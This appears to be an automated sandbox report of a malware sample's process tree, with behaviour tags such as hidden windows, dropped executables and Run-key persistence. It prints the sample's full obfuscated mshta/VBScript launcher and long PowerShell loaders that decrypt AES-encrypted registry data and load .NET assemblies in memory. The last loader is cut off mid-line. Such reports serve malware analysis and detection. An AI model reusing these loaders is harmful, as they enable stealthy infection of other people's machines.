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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4520
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{dba25e9a-5749-4959-aaac-34ccb64a32ff}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3788).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3668
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{748131be-b8d0-47da-900b-5183202d2085}5⤵PID:4640
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d726aa55-d114-4c85-815f-0c293dee4ddf}5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2460
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{f9399d2b-1006-4229-96e5-f3f7c9b5b357}5⤵
- System Location Discovery: System Language Discovery
PID:5756
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{f4dfd0af-395b-4d94-9a6c-209aebe72e99}5⤵PID:5636
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5636 -s 4566⤵
- Drops file in Windows directory
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:5736
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{6a1ef3e9-950a-460b-acc6-919ec28f5c45}5⤵
- System Location Discovery: System Language Discovery
PID:4640
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{09405e0e-3c4a-47e1-800e-6b9f49813f3d}5⤵
- System Location Discovery: System Language Discovery
PID:2336
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{af4c9af3-6025-4673-8d26-2e1c8d120b3c}5⤵
- System Location Discovery: System Language Discovery
PID:1580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1460
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1968
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1520
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2060
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2164
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2308
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2880
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2980
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3228
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3380
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C:\Users\Admin\AppData\Local\Temp\Uni.exe"C:\Users\Admin\AppData\Local\Temp\Uni.exe"2⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3304 -
C:\Windows\SYSTEM32\cmd.execmd /c "Uni.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5036
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C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function fVoxT($oPFNE){ $iLIer=[System.Security.Cryptography.Aes]::Create(); $iLIer.Mode=[System.Security.Cryptography.CipherMode]::CBC; $iLIer.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $iLIer.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('reBXu8mWH2aPSY80rUiY+qal9/pmltEFd4YzecO07u8='); $iLIer.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SCYRvuoYNjwRzXky6x630g=='); $APXpI=$iLIer.CreateDecryptor(); $return_var=$APXpI.TransformFinalBlock($oPFNE, 0, $oPFNE.Length); $APXpI.Dispose(); $iLIer.Dispose(); $return_var;}function WmmYx($oPFNE){ $toQfi=New-Object System.IO.MemoryStream(,$oPFNE); $LIvgb=New-Object System.IO.MemoryStream; $Glywg=New-Object System.IO.Compression.GZipStream($toQfi, [IO.Compression.CompressionMode]::Decompress); $Glywg.CopyTo($LIvgb); $Glywg.Dispose(); $toQfi.Dispose(); $LIvgb.Dispose(); $LIvgb.ToArray();}function AHAKZ($oPFNE,$XBFqp){ $TaiwF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$oPFNE); $JZvRO=$TaiwF.EntryPoint; $JZvRO.Invoke($null, $XBFqp);}$ZxJef=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join 